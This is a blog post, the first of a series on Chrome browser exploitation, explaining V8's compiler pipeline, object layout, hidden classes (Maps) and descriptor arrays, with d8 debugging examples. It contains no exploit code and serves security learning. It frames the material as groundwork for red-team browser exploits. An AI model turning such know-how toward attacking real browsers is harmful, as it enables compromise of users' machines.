</ul>Jack Halonjacek.halon@gmail.comIn my previous post “Chrome Browser Exploitation, Part 1: Introduction to V8 and JavaScript Internals”, we took our first deep dive into the world of browser exploitation by covering a few complex topics that were necessary for fundamental knowledge. We mainly covered topics on how JavaScript and V8 worked under the hood by exploring what objects, maps and shapes were, how these objects were structured in memory, and we also covered some basic memory optimizations such as pointer tagging and pointer compression. We also touched on the compiler pipeline, bytecode interpreter, and code optimizations.Chrome Browser Exploitation, Part 1: Introduction to V8 and JavaScript Internals2022-10-22T00:00:00+00:002022-10-22T00:00:00+00:00https://jhalon.github.io/chrome-browser-exploitation-1<p>Web browsers, our extensive gateway to the internet. Browsers today play a vital role in modern organizations as more and more software applications are delivered to users via a web browser in the form of web applications. Pretty much everything you might have done on the internet involves the use of a web browser, and as a result, browsers are among the most utilized consumer facing software products on the planet.</p>
<p>As the gateway to the internet, browsers also introduce significant risks to the integrity of personal computing devices. We hear it almost on a daily basis now, “<a href="https://threatpost.com/google-chrome-bug-actively-exploited-zero-day/179161/">Google Chrome Bug Actively Exploited as Zero-Day</a>”, or “<a href="https://www.forbes.com/sites/gordonkelly/2022/07/06/google-chrome-browser-zero-day-hack-new-threat-exploit-upda-chrome/?sh=12daf8a5185f">Google Confirms Chrome’s Fourth Zero-Day Exploit In 2022</a>”. In fact, browser exploits are nothing new, they’ve been occurring for years now with the first known documented remote-code-execution exploit being <a href="https://www.cvedetails.com/cve/CVE-1999-0280/">CVE-1999-0280</a>. The first potentially public disclosure of a browser exploit being used in the wild was the “<a href="https://www.youtube.com/watch?v=przDcQe6n5o">Aurora</a>” Internet Explorer exploit which affected Google back in December of 2010.</p>
<p>My interest in web browsers first sparked back in 2018 when my buddy <a href="https://twitter.com/BouncyHat">Michael Weber</a> introduced me to <a href="http://www.irongeek.com/i.php?page=videos/derbycon8/track-4-02-offensive-browser-extension-development-michael-weber">Offensive Browser Extension Development</a> which really opened my eyes to the potential attack surface. Afterwards, I started to dig deeper into Chrome’s internals and started to become very interested in web browser exploitation. Because let’s be honest here, what kind of Red Team wouldn’t want a “one-click” or even a “no-click” web browser exploit?</p>
<p>When it comes to browsers in the world of security research, they are considered some of the most impressive targets to find vulnerabilities in. They’re also unfortunately some of the most complicated to look at, as the amount of prerequisite knowledge required to even begin researching browser internals makes it seem like an unattainable goal for many researchers.</p>
<p>In spite of that, I took the steps to dive in by taking <a href="https://twitter.com/maxpl0it">maxpl0it’s</a> amazing “<a href="https://www.blackhat.com/us-22/training/schedule/#introduction-to-hard-target-internals-25711">Introduction to Hard Target Internals</a>” training course. Which I highly recommend you take! This course provided me with a lot of background information on the inner workings and internals of browsers such as Chrome and Firefox. Afterwards, I was off to the races reading everything I could from Chromium blogs to v8 dev posts.</p>
<p>Since my learning method is more of a “learn it, teach it, know it” style, I am releasing this “Chrome Browser Exploitation” blog post series to give you an introduction to browser internals and to explore Chrome browser exploitation on Windows in more depth, all while learning it myself.</p>
<p>Now you might be asking me, why Chrome and why Windows? Well, two reasons:</p>
<ol>
<li>Chrome has a market share of ~73%, making it the most widely used browser in the world.</li>
<li>Windows has a market share of ~90%, making it also the most widely used OS in the world.</li>
</ol>
<p>By learning to target the most widely used software in the world, as a Red Team, this makes our chances of finding bugs, writing exploits, and successfully using them in engagements much more likely.</p>
<blockquote>
<p><strong>WARNING</strong>
Due to the massive complexity of browsers, JavaScript engines, and JIT compilers, these blog posts will be very, very heavy reads.</p>
<p>Currently, this will be a three (3) post blog series. But, depending on the complexity and amount of information covered, I might split up the material to multiple additional posts.</p>
<p>Do note - I am writing these blog posts as I learn along the way. So please bare with me as it might take some time for me to release follow up posts to this series.</p>
<p>With that being said, if you notice that I made a mistake in my posts, or am misleading the reader, then please reach out to me! Also, any recommendations, constructive criticism, critical feedback, etc. is very much appreciated!</p>
</blockquote>
<p>Overall, by the end of this blog post series we will cover everything we need to know to start researching and exploiting potential Chrome bugs. In the final post of this series, we will attempt to exploit <a href="https://chromereleases.googleblog.com/2018/10/stable-channel-update-for-desktop.html">CVE-2018-17463</a> which was a JIT Compiler Vulnerability in Chrome v8’s Optimizer (TurboFan) discovered by <a href="https://twitter.com/5aelo">Samuel Gross</a>.</p>
<p>So, without further ado - let’s jump into the deep end and into the complex world of browser exploitation!</p>
<p>In today’s blog post, we will cover the basic prerequisite concepts that we need to fully understand before we dig any deeper. The following topics will be discussed:</p>
<ul>
<li>The Flow of JavaScript Engines
<ul>
<li>JavaScript Engine Compiler Pipeline</li>
<li>Stack & Register Machines</li>
</ul>
</li>
<li>JavaScript and V8 Internals
<ul>
<li>Object Representation</li>
<li>HiddenClasses (Map)</li>
<li>Shape (Map) Transitions</li>
<li>Properties</li>
<li>Elements and Arrays</li>
</ul>
</li>
<li>Viewing Chrome Objects In-Memory
<ul>
<li>Pointer Tagging</li>
<li>Pointer Compression</li>
</ul>
</li>
</ul>
<p>But, before we begin, make sure to compile <code class="language-plaintext highlighter-rouge">v8</code> and <code class="language-plaintext highlighter-rouge">d8</code> on Windows to follow along. You can read my “<a href="https://gist.github.com/jhalon/5cbaab99dccadbf8e783921358020159">Building Chrome V8 on Windows</a>” gist for detailed instructions on how to do so.</p>
<h2 id="the-flow-of-javascript-engines">The Flow of JavaScript Engines</h2>
<p>We start our journey of browser internals by first understanding what JavaScript engines are and how they work. JavaScript engines are an integral part to the execution of JavaScript code on systems. Previously, they were mere interpreters, but today, modern JavaScript engines are complex programs that include a multitude of performance improving components such as optimizing-compilers and Just-In-Time (JIT) compilation.</p>
<p>There’s actually a multitude of different JS engines in use today, such as:</p>
<ul>
<li><a href="https://v8.dev/">V8</a> - Google’s open source high-performance JavaScript and WebAssembly engine, used in Chrome.</li>
<li><a href="https://spidermonkey.dev/">SpiderMonkey</a> - Mozilla’s JavaScript and WebAssembly Engine, used in Firefox.</li>
<li><a href="https://github.com/chakra-core/ChakraCore">Charka</a> - A proprietary JScript engine developed by Microsoft for use in IE and Edge.</li>
<li><a href="https://developer.apple.com/documentation/javascriptcore">JavaScriptCore</a> - Apple’s built-in JavaScript engine for WebKit use in Safari.</li>
</ul>
<p>So why do we need these JavaScript engines, and all it’s complexities?</p>
<p>Well as we know, JavaScript is a lightweight, <strong>interpreted</strong>, object-oriented scripting language. In interpreted languages, the code is ran line-by-line and the result of running the code is immediately returned, so we don’t have to compile the code into a different form before the browser runs it. This usually doesn’t make such languages any good due to performance reasons. In that case, this is where compilation such as Just-In-Time compilation is involved; where JavaScript code is parsed into bytecode (which is an abstraction of machine code) and is then further optimized by JIT to make the code much more efficient and in a sense “fast”.</p>
<p>Now, while each of the above-mentioned JavaScript engines can have different compilers and optimizers, all of them are pretty much designed and implemented the same way based on the <a href="https://tc39.es/ecma262/">EcmaScript</a> standard (also used interchangeably with JavaScript). The EcmaScript specification details how JavaScript should be implemented by the browser so that a JavaScript program will run exactly the same way in all browsers.</p>
<p>So, what really goes on after we execute JavaScript code? Well, to detail that, I have provided a diagram below that shows a high-level overview of the general “flow” or also known as the compilation pipeline of JavaScript engines.</p>
<p align="center"><a href="/images/compiler-pipeline-1.png"><img src="/images/compiler-pipeline-1.png" /></a></p>
<p>This might look confusing at first, but don’t worry - it really isn’t too hard to understand. So, let’s break down the “flow” step by step and explain what each of these components does.</p>
<ol>
<li><strong>Parser</strong>: Once we execute JavaScript code, the code is passed into the JavaScript engine and we enter our first step, and that’s parsing the code. The parser converts the code into the following:
<ul>
<li><strong>Tokens</strong>: The code is first broken down into “tokens”, such as Identifier, Number, String, Operator, etc. This is known as “Lexical Analysis” or “Tokenizing”.
<ul>
<li>Example: <code class="language-plaintext highlighter-rouge">var num = 42</code> gets broken down to <code class="language-plaintext highlighter-rouge">var,num,=,42</code> and each “token” or item is then tagged with its type, so in this case it would be <code class="language-plaintext highlighter-rouge">Keyword,Identifier,Operator,Number</code>.</li>
</ul>
</li>
<li><strong>Abstract Syntax Tree (AST)</strong>: Once the code has been parsed into tokens, the parser will convert those tokens into an AST. This part is called “Syntax Analysis” and it does what it says, it checks to make sure there are no syntax errors in the code.
<ul>
<li>Example: Using the above code example, the AST for that will look like so:
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
</span><span class="nl">"type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"VariableDeclaration"</span><span class="p">,</span><span class="w">
</span><span class="nl">"start"</span><span class="p">:</span><span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w">
</span><span class="nl">"end"</span><span class="p">:</span><span class="w"> </span><span class="mi">13</span><span class="p">,</span><span class="w">
</span><span class="nl">"declarations"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
</span><span class="p">{</span><span class="w">
</span><span class="nl">"type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"VariableDeclarator"</span><span class="p">,</span><span class="w">
</span><span class="nl">"start"</span><span class="p">:</span><span class="w"> </span><span class="mi">4</span><span class="p">,</span><span class="w">
</span><span class="nl">"end"</span><span class="p">:</span><span class="w"> </span><span class="mi">12</span><span class="p">,</span><span class="w">
</span><span class="nl">"id"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
</span><span class="nl">"type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Identifier"</span><span class="p">,</span><span class="w">
</span><span class="nl">"start"</span><span class="p">:</span><span class="w"> </span><span class="mi">4</span><span class="p">,</span><span class="w">
</span><span class="nl">"end"</span><span class="p">:</span><span class="w"> </span><span class="mi">7</span><span class="p">,</span><span class="w">
</span><span class="nl">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"num"</span><span class="w">
</span><span class="p">},</span><span class="w">
</span><span class="nl">"init"</span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="w">
</span><span class="nl">"type"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Literal"</span><span class="p">,</span><span class="w">
</span><span class="nl">"start"</span><span class="p">:</span><span class="w"> </span><span class="mi">10</span><span class="p">,</span><span class="w">
</span><span class="nl">"end"</span><span class="p">:</span><span class="w"> </span><span class="mi">12</span><span class="p">,</span><span class="w">
</span><span class="nl">"value"</span><span class="p">:</span><span class="w"> </span><span class="mi">42</span><span class="p">,</span><span class="w">
</span><span class="nl">"raw"</span><span class="p">:</span><span class="w"> </span><span class="s2">"42"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="p">],</span><span class="w">
</span><span class="nl">"kind"</span><span class="p">:</span><span class="w"> </span><span class="s2">"var"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div> </div>
</li>
</ul>
</li>
</ul>
</li>
<li><strong>Interpreter</strong>: Once an AST has been generated, it’s then passed into the Interpreter which walks the AST and generates bytecode. Once the bytecode has been generated, it is executed and the AST is deleted.
<ul>
<li>A list of Bytecodes for V8 can be found <a href="https://github.com/v8/v8/blob/main/src/interpreter/bytecodes.h">here</a>.</li>
<li>An example of the bytecode for <code class="language-plaintext highlighter-rouge">var num = 42;</code> is shown below:
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>LdaConstant [0]
Star1
Mov <closure>, r2
CallRuntime [DeclareGlobals], r1-r2
LdaSmi [42]
StaGlobal [1], [0]
LdaUndefined
Return
</code></pre></div> </div>
</li>
</ul>
</li>
<li><strong>Compiler</strong>: The compiler works ahead of time by using something called a “Profiler” which monitors and watches code that should be optimized. If there is something known as a “hot function” the compiler takes that function and generates optimized machine code to execute. Otherwise, if it sees that a “hot function” that was optimized is no longer used, it will “deoptimize” it back to bytecode.</li>
</ol>
<p>When it comes to Google’s V8 JavaScript engine, the compilation pipeline is pretty similar. Although, V8 includes an additional “non-optimizing” compiler which was recently added back in 2021. Now each component of V8 has a specific name to it, and they are as follows:</p>
<ul>
<li><strong>Ignition</strong>: V8’s fast low-level register-based interpreter that generates the bytecode.</li>
<li><strong>SparkPlug</strong>: V8’s new non-optimizing JavaScript compiler that compiles from bytecode, by iterating the bytecode and emitting machine code for each bytecode as it is visited.</li>
<li><strong>TurboFan</strong>: V8’s optimizing compiler that translates bytecode into machine code with more numerous, and more sophisticated code optimizations. It also includes JIT (Just-In-Time) compilation.</li>
</ul>
<p>Putting that all together, the V8 compilation pipeline from a high-level overview is as follows:</p>
<p align="center"><a href="/images/compiler-pipeline-2.png"><img src="/images/compiler-pipeline-2.png" /></a></p>
<p>Now, don’t worry if some of these concepts or features like compilers and optimizations don’t make sense currently. It’s not necessary that we understand the whole compilation pipeline for today’s post, but we should have a general idea of how the engine works as a whole. We’ll cover the V8 pipeline and its components in more depth within the second post of this series.</p>
<p>Till then, if you want to learn more about the pipeline, I suggest watching “<a href="https://www.youtube.com/watch?v=5nmpokoRaZI">JavaScript Engines: The Good Parts</a>” to get a better understanding.</p>
<p>The only thing you should understand from this compilation pipeline currently is that the Interpreter is a “<a href="https://en.wikipedia.org/wiki/Stack_machine">stack machine</a>” or basically a VM (Virtual Machine) where bytecode is executed. In terms of Ignition (V8’s Interpreter) the interpreter is actually a “register machine” with an accumulator register. Ignition still uses a stack, but it prefers to store things in registers to speed things up.</p>
<p>I suggest you read “<a href="https://medium.com/dailyjs/understanding-v8s-bytecode-317d46c94775">Understanding V8’s Bytecode</a>” and “<a href="https://v8.dev/blog/ignition-interpreter">Firing up the Ignition Interpreter</a>” to get a better grasp of these concepts.</p>
<h2 id="javascript-and-v8-internals">JavaScript and V8 Internals</h2>
<p>Now that we have some basic knowledge of how a JavaScript engine and its compiler pipeline is structured, it’s time we dig a little deeper into the internals of JavaScript itself and see how V8 stores and represents JavaScript objects in memory, along with their values and properties.</p>
<p>This section is single handedly one of the <strong>most</strong> important pieces that you need to understand if you want to exploit bugs in V8, and other JavaScript engines as well. Because, as it turns out, all major engines implement the JavaScript object model in a similar fashion.</p>
<p>As we know, JavaScript is a dynamically typed language. Meaning, that type information is associated with runtime values rather than compile-time variables like in C++. This means that any object within JavaScript can have its properties easily modified during runtime. The JavaScript <a href="https://262.ecma-international.org/6.0/#sec-ecmascript-data-types-and-values">type system</a> defines data types such as Undefined, Null, Boolean, String, Symbol, Number, and Object (including arrays and functions).</p>
<p>In simple terms, what does this mean? Well, it generally means that an object, or primitive such as <code class="language-plaintext highlighter-rouge">var</code> in JavaScript can change its data type throughout its runtime, unlike in C++. For example, let’s set a new variable called <code class="language-plaintext highlighter-rouge">item</code> in JavaScript and set it to <code class="language-plaintext highlighter-rouge">42</code>.</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">var</span> <span class="nx">item</span> <span class="o">=</span> <span class="mi">42</span><span class="p">;</span>
</code></pre></div></div>
<p>By using the <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/typeof">typeof</a> operator on the <code class="language-plaintext highlighter-rouge">item</code> variable, we can see that it returns its data type - which will be <code class="language-plaintext highlighter-rouge">Number</code>.</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">typeof</span> <span class="nx">item</span>
<span class="dl">'</span><span class="s1">number</span><span class="dl">'</span>
</code></pre></div></div>
<p>Now what would happen if we try setting <code class="language-plaintext highlighter-rouge">item</code> to a string and then check it’s data type?</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">item</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">Hello!</span><span class="dl">"</span><span class="p">;</span>
<span class="k">typeof</span> <span class="nx">item</span>
<span class="dl">'</span><span class="s1">string</span><span class="dl">'</span>
</code></pre></div></div>
<p>Look at that, the <code class="language-plaintext highlighter-rouge">item</code> variable is now set to the data type of <code class="language-plaintext highlighter-rouge">String</code> and not <code class="language-plaintext highlighter-rouge">Number</code>. This is what makes JavaScript “dynamic” in nature. Unlike in C++, if we tried creating an <code class="language-plaintext highlighter-rouge">int</code> or integer variable and later tried setting it to a string, it would fail - like so:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="n">item</span> <span class="o">=</span> <span class="mi">3</span><span class="p">;</span>
<span class="n">item</span> <span class="o">=</span> <span class="s">"Hello!"</span><span class="p">;</span> <span class="c1">// error: invalid conversion from 'const char*' to 'int'</span>
<span class="c1">// ^~~~~~~~</span>
</code></pre></div></div>
<p>While this is cool in JavaScript, it does pose a problem for us. V8 and Ignition are written in C++ so the Interpreter and Compiler need to figure out how JavaScript is intending to use some of the data. This is critical for efficient code compilation especially because in C++ there are differences in memory sizes for data types such as <code class="language-plaintext highlighter-rouge">int</code> or <code class="language-plaintext highlighter-rouge">char</code>.</p>
<p>Aside from efficiency, this also is critical to security since if the Interpreter and Compiler “interpret” the JavaScript code wrong and we get a dictionary object instead of an array object, we now have a Type Confusion vulnerability.</p>
<p>So how does V8 store all of this information with every runtime value, and how does the engine stay efficient?</p>
<p>Well, in V8, this is accomplished through the use of a dedicated information type object called a <strong>Map</strong> (not to be confused with <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-map-objects">Map Objects</a>) which is otherwise known as a “<strong>Hidden Class</strong>”. At times you might hear a Map be referred to as a “<strong>Shape</strong>”, especially in Mozilla’s SpiderMonkey JavaScript engine. V8 also uses something called pointer compression or pointer tagging in memory (which we will discuss later in this post) to reduce memory consumption and allows V8 to represent any value in memory as a pointer to an object.</p>
<p>But, before we get too deep into the weeds of how all of those function, we first have to understand what are JavaScript Objects and how they are represented within V8.</p>
<h2 id="object-representation">Object Representation</h2>
<p>In JavaScript, Objects are essentially a collection of properties which are stored as key, value pairs - essentially this means that objects behave like dictionaries. Objects can be Arrays, Functions, Booleans, RegExp, etc.</p>
<p>Each object in JavaScript has properties associated with it, which can simply be explained as a variable that helps define the characteristics of the object. For example, a newly created <code class="language-plaintext highlighter-rouge">car</code> object can have properties such as <code class="language-plaintext highlighter-rouge">make</code>, <code class="language-plaintext highlighter-rouge">model</code>, and <code class="language-plaintext highlighter-rouge">year</code> that help define what the <code class="language-plaintext highlighter-rouge">car</code> object is. You can access the properties of an object either through a simple dot-notation operator such as <code class="language-plaintext highlighter-rouge">objectName.propertyName</code> or through bracket notation such as <code class="language-plaintext highlighter-rouge">objectName['propertyName']</code>.</p>
<p>Additionally, each objects property maps to <a href="https://tc39.github.io/ecma262/#sec-property-attributes">property attributes</a>, which are used to define and explain the state of the objects properties. An example of what these property attributes look like within a JavaScript object can be seen below.</p>
<p align="center"><a href="https://benediktmeurer.de/images/2018/object-model-20180614.svg"><img src="https://benediktmeurer.de/images/2018/object-model-20180614.svg" /></a></p>
<p>Now that we understand a little bit about what an object is, the next step is to understand how that object is structured in memory and where it’s stored.</p>
<p>Whenever an object is created, V8 creates a new <a href="https://source.chromium.org/chromium/chromium/src/+/main:v8/src/objects/js-objects.h;l=327?q=JSObject&ss=chromium%2Fchromium%2Fsrc:v8%2F">JSObject</a> and allocates memory for it on the heap. The value of the object is a pointer to the <code class="language-plaintext highlighter-rouge">JSObject</code> which contains the following within its structure:</p>
<ul>
<li><strong>Map</strong>: A pointer to the <strong>HiddenClass</strong> object that details the “<strong>shape</strong>” or structure of the object.</li>
<li><strong>Properties</strong>: A pointer to an object containing <strong>named</strong> properties.</li>
<li><strong>Elements</strong>: A pointer to an object containing <strong>numbered</strong> properties.</li>
<li><strong>In-Object Properties</strong>: Pointers to named properties that were defined at object initialization.</li>
</ul>
<p>To help you in visualizing that, the image below details how a basic V8 JSObject is structured in memory.</p>
<p align="center"><a href="/images/Obj1.png"><img src="/images/Obj1.png" /></a></p>
<p>Looking into the JSObject structure we can see that the Properties and Elements are stored in two separate <a href="https://source.chromium.org/chromium/chromium/src/+/main:v8/src/objects/fixed-array.h;l=101?q=FixedArray&sq=&ss=chromium%2Fchromium%2Fsrc:v8%2F"><code class="language-plaintext highlighter-rouge">FixedArray</code></a> data structures which makes adding and accessing properties or elements more efficient. The elements structure predominantly stores non-negative integers or array-indexed properties (keys), which are commonly known as elements. As for the properties structure, if the property key of an object is not a non-negative integer, like a string, the property will be stored either as an Inline-Object Property (explained later in the post) or within the properties structure, also sometimes referred to as an objects properties backing store.</p>
<p>One thing we must note is that while named properties are stored in a similar way as elements of an array, they are not the same when it comes to property access. Unlike elements, we cannot simply use the key to find the named properties position within the properties array; we need some additional metadata. As mentioned before, V8 utilizes a special object called a <code class="language-plaintext highlighter-rouge">HiddenClass</code> or <code class="language-plaintext highlighter-rouge">Map</code> that’s associated to each JSObject. This Map stores all the information on JavaScript objects which in turn allows V8 to be “dynamic”.</p>
<p>So, before we go any further into understanding the JSObject structure and its properties, we first need to look at and understand how this HiddenClass works in V8.</p>
<h2 id="hiddenclass-map-and-shape-transitions">HiddenClass (Map) and Shape Transitions</h2>
<p>As discussed previously, we know that JavaScript is a dynamically typed language. In particular, because of this, there is no concept of classes in JavaScript. In C++ if you create a class or object then you cannot add or delete methods and properties from it on the fly, unlike in JavaScript. In C++ and other object-oriented languages, you can store object properties at fixed memory offsets because the object layout for an instance of a given class will never change, but in JavaScript it can dynamically change during runtime. To combat this, JavaScript uses something called “<a href="https://262.ecma-international.org/6.0/#sec-objects">prototype-based-inheritance</a>”, where each object has a reference to a prototype object or “shape” whose properties it incorporates.</p>
<p>So how does V8 store an object’s layout?</p>
<p>This is where the <code class="language-plaintext highlighter-rouge">HiddenClass</code> or <code class="language-plaintext highlighter-rouge">Map</code> come into play. Hidden classes work similarly to a fixed object layout where the values of properties (or pointers to those properties) can be stored in a specific memory structure and then accessed with a <em>fixed-offset</em> between each one. These offsets are generated by <a href="https://v8.dev/docs/torque">Torque</a> and can be found in within the <a href="https://source.chromium.org/chromium/chromium/src/+/main:out/win-Debug/gen/v8/torque-generated/src/objects/"><code class="language-plaintext highlighter-rouge">/torque-generated/src/objects/*.tq.inc</code></a> directory in V8. This pretty much serves as an identifier for the “shape” of an object, which in turn allows V8 to better optimize the JavaScript code and improve property access time.</p>
<p>As previously seen in the <code class="language-plaintext highlighter-rouge">JSObject</code> example above, the Map is another data structure within the object. That Map structure contains the following information:</p>
<ul>
<li>The dynamic type of the object, such as String, JSArray, HeapNumber, etc.
<ul>
<li>Object Types in V8 are listed in <a href="https://source.chromium.org/chromium/chromium/src/+/main:v8/src/objects/objects.h;l=37;bpv=0;bpt=1"><code class="language-plaintext highlighter-rouge">/src/objects/objects.h</code></a></li>
</ul>
</li>
<li>Size of the object (in-object properties, etc.)</li>
<li>Object properties and where they are stored</li>
<li>Type of array elements</li>
<li>Prototype or Shape of the object (if any)</li>
</ul>
<p>To help in visualizing how the Map object looks like in memory, I have provided a rather detailed V8 Map structure in the image below. More information on the structures can be found within V8’s source code and can be located within the <a href="https://source.chromium.org/chromium/chromium/src/+/main:v8/src/objects/map.h;l=122-201"><code class="language-plaintext highlighter-rouge">/src/objects/map.h</code></a> and <a href="https://source.chromium.org/chromium/chromium/src/+/main:v8/src/objects/descriptor-array.h"><code class="language-plaintext highlighter-rouge">/src/objects/descriptor-array.h</code></a> source files.</p>
<p align="center"><a href="/images/Map.png"><img src="/images/Map.png" /></a></p>
<p>Now that we understand how the layout of the Map looks like, let’s explain this “shape” that we constantly talk about. As you know, every newly created <code class="language-plaintext highlighter-rouge">JSObject</code> will have a hidden class of its own, which contains the memory offset for each of its properties. Here’s the interesting part; if at any time that object’s property is created, deleted or changed dynamically, then a new hidden class will be created. This new hidden class keeps the information of the existing properties with the inclusion of the memory offset to the new property. Now do note, that a new hidden class is only created when a new property is added, adding an array-indexed property does not create new hidden classes.</p>
<p>So how does this look like in practice? Well let’s take the following code for example:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">var</span> <span class="nx">obj1</span> <span class="o">=</span> <span class="p">{};</span>
<span class="nx">obj1</span><span class="p">.</span><span class="nx">x</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="nx">obj1</span><span class="p">.</span><span class="nx">y</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
</code></pre></div></div>
<p>At the start we create a new object called <code class="language-plaintext highlighter-rouge">obj1</code>, which is created and stored within V8’s heap. Since this is a newly created object, we need to create a HiddenClass (obviously), even though no properties have been defined for this object yet. This HiddenClass is also created and stored within V8’s heap. For our example purposes, we’ll call this initial hidden class “C0”.</p>
<p align="center"><a href="/images/Shapes1.png"><img src="/images/Shapes1.png" /></a></p>
<p>Once the next line of the code is reached and <code class="language-plaintext highlighter-rouge">obj1.x = 1</code> is executed, V8 will create a second hidden class called “C1” that is based off of C0. C1 will be the first HiddenClass to describe the location of where property <code class="language-plaintext highlighter-rouge">x</code> can be found in memory. But, instead of storing the pointer to the value for <code class="language-plaintext highlighter-rouge">x</code> it actually will store the <strong>offset</strong> for <code class="language-plaintext highlighter-rouge">x</code> which will be at offset 0.</p>
<p align="center"><a href="/images/Shapes2.png"><img src="/images/Shapes2.png" /></a></p>
<p>Okay, I know that at this point some of you might ask, “why an offset to the property and not to it’s value”?</p>
<p>Well, in V8 this is an optimization trick. Maps are relatively expensive objects in terms of memory usage. If we store the key, value pairs of properties in a dictionary format within every newly created <code class="language-plaintext highlighter-rouge">JSObject</code> then that’s going to cause a lot of computational overhead as parsing dictionaries is slow. Second of all, what happens if a new object, such as <code class="language-plaintext highlighter-rouge">obj2</code> is created which shares the same properties of <code class="language-plaintext highlighter-rouge">obj1</code> such as <code class="language-plaintext highlighter-rouge">x</code> and <code class="language-plaintext highlighter-rouge">y</code>? Even though the values might be different the two objects actually share the same named properties in the same order, or as we would call it, the same “<strong>shape</strong>”. In that case it would be wasteful for us to store the same property name in two different locations.</p>
<p>This is what allows V8 to be fast, it’s optimized so that a Map is shared as much as possible between similarly shaped objects. Since the property names are repeated for all objects within the same shape and because they’re in the same order, we can have multiple objects point to one single HiddenClass in memory with the offset to the properties instead of pointers to values. This also allows for easier garbage collection since Map’s are allocations of a <code class="language-plaintext highlighter-rouge">HeapObject</code> just like the <code class="language-plaintext highlighter-rouge">JSObject</code> is.</p>
<p>To better explain this concept, let’s side track for a moment from our example above and look at the important parts of the HiddenClass. The two most important parts of the HiddenClass that allow for the Map to have its “shape” is the <a href="https://source.chromium.org/chromium/chromium/src/+/main:v8/src/objects/descriptor-array.h">DescriptorArray</a> and the <strong>third bit field</strong>. If you look back into the Map structure above, you’ll notice that the third bit field stores the number of properties, and the descriptor array contains information about the named properties like the name itself, the position where the value is stored (offset), and the properties attributes.</p>
<p>For example, let’s say we create a new object such as <code class="language-plaintext highlighter-rouge">var obj {x: 1}</code>. The x property is going to be stored within the In-Object properties or Properties store of the JavaScript object. Since a new object is created, a new HiddenClass will also be created. Within that HiddenClass the descriptor array and the third bit field will be populated. The third bit field will set the <code class="language-plaintext highlighter-rouge">numberOfOwnDescriptors</code> to <code class="language-plaintext highlighter-rouge">1</code>, since we only have one property, and then descriptor array will populate the key, details, and value portions of the array with details relating to property x. The value for that descriptor will be set to 0. Why 0? Well, the In-Object properties and the Properties store are just an array. So, by setting the value of the descriptor to 0, V8 knows that the keys value will be at offset 0 of that array for any object of the same shape.</p>
<p>A visual example of what we just explained can be seen below.</p>
<p align="center"><a href="/images/Map-DA.png"><img src="/images/Map-DA.png" /></a></p>
<p>Let’s see how this looks like within V8. To start let’s launch <code class="language-plaintext highlighter-rouge">d8</code> with the <code class="language-plaintext highlighter-rouge">--allow-natives-syntax</code> parameter, and execute the following JavaScript code:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">d8</span><span class="o">></span> <span class="kd">var</span> <span class="nx">obj1</span> <span class="o">=</span> <span class="p">{</span><span class="na">a</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span> <span class="na">b</span><span class="p">:</span> <span class="mi">2</span><span class="p">,</span> <span class="na">c</span><span class="p">:</span> <span class="mi">3</span><span class="p">}</span>
</code></pre></div></div>
<p>Once completed, we’ll utilize the <code class="language-plaintext highlighter-rouge">%DebugPrint()</code> command against our object to display it’s properties, map, and other information such as the instance descriptor. Once executed, notice the following:</p>
<p align="center"><a href="/images/d8-Map-DA.png"><img src="/images/d8-Map-DA.png" /></a></p>
<p>In <span style="color:gold">Yellow</span> we can see our object <code class="language-plaintext highlighter-rouge">obj1</code>. In <span style="color:red">Red</span> we have the pointer to our HiddenClass or Map. Within that HiddenClass we have the instance descriptor which points to the <code class="language-plaintext highlighter-rouge">DescriptorArray</code>. Using the <code class="language-plaintext highlighter-rouge">%DebugPrintPtr()</code> function against the pointer to that array we can see more details on how that array looks like in memory, which is highlighted in <span style="color:blue">Blue</span>.</p>
<p>Take note, we have three properties, which matches the number of descriptors in the instance descriptors section of the map. Below that, we can see that the descriptor array holds our property keys, and the <code class="language-plaintext highlighter-rouge">const data field</code> holds the offsets to their associated values within the property store. Now, if we follow the arrow back up from the offsets to our object, we will notice that the offsets do match, and each property has its correct value assigned.</p>
<p>Also, take note on the right side of those properties you can see the <strong>location</strong> for each of those properties; which are <strong>in-object</strong> as I previously mentioned. This pretty much proves to us that the offsets are to the properties within the In-Object and Properties store.</p>
<p>Alright, now that we understand why we are using offsets, let’s go back to our HiddenClass example from before. As we said before, by adding property <code class="language-plaintext highlighter-rouge">x</code> to <code class="language-plaintext highlighter-rouge">obj1</code>, we will now have a newly created HiddenClass called “C1” with the offset to <code class="language-plaintext highlighter-rouge">x</code>. Since we are creating a new HiddenClass, V8 will update C0 with a “class transition” which states that if a new object is created with the property of <code class="language-plaintext highlighter-rouge">x</code>, then the hidden class should switch directly to C1.</p>
